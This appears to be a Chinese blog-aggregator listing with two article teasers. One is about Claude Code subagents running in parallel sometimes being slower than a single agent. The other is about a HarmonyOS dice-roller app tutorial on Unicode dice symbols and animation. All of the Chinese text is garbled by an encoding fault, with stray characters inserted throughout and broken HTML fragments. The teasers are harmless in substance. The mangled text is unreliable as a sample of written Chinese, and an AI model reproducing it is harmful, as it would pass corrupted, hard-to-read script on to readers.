前兩個(gè)月,我在重構(gòu) AlgoMooc 網(wǎng)站過(guò)程中,發(fā)現(xiàn)一個(gè)問(wèn)題:在 Claude Code 里把一個(gè)任務(wù)拆給 5 個(gè) Subagent 并行跑,結(jié)果可能比 1 個(gè) agent 從頭干到尾還慢? 大多數(shù)人的第一反應(yīng)是反過(guò)來(lái)的:活是并行干的&#…

2026/7/29 0:15:24 閱讀更多
# 鴻蒙 HarmonyOS 應(yīng)用開(kāi)發(fā)實(shí)戰(zhàn)(第25期)|骰子(Dice Roller)— Unicode 符號(hào)與動(dòng)畫(huà)渲染精講

# 鴻蒙 HarmonyOS 應(yīng)用開(kāi)發(fā)實(shí)戰(zhàn)(第25期)|骰子(Dice Roller)— Unicode 符號(hào)與動(dòng)畫(huà)渲染精講

一、應(yīng)用概述 骰子(Dice Roller) 是一款經(jīng)典的休閑娛樂(lè)應(yīng)用,模擬了真實(shí)擲骰子的過(guò)程。應(yīng)用投擲兩個(gè)骰子(六面標(biāo)準(zhǔn)骰),使用 Unicode 骰面符號(hào)直觀展示每個(gè)骰子的點(diǎn)數(shù),并伴有快速滾動(dòng)的動(dòng)畫(huà)效果?!?/p>

2026/7/29 0:15:24 閱讀更多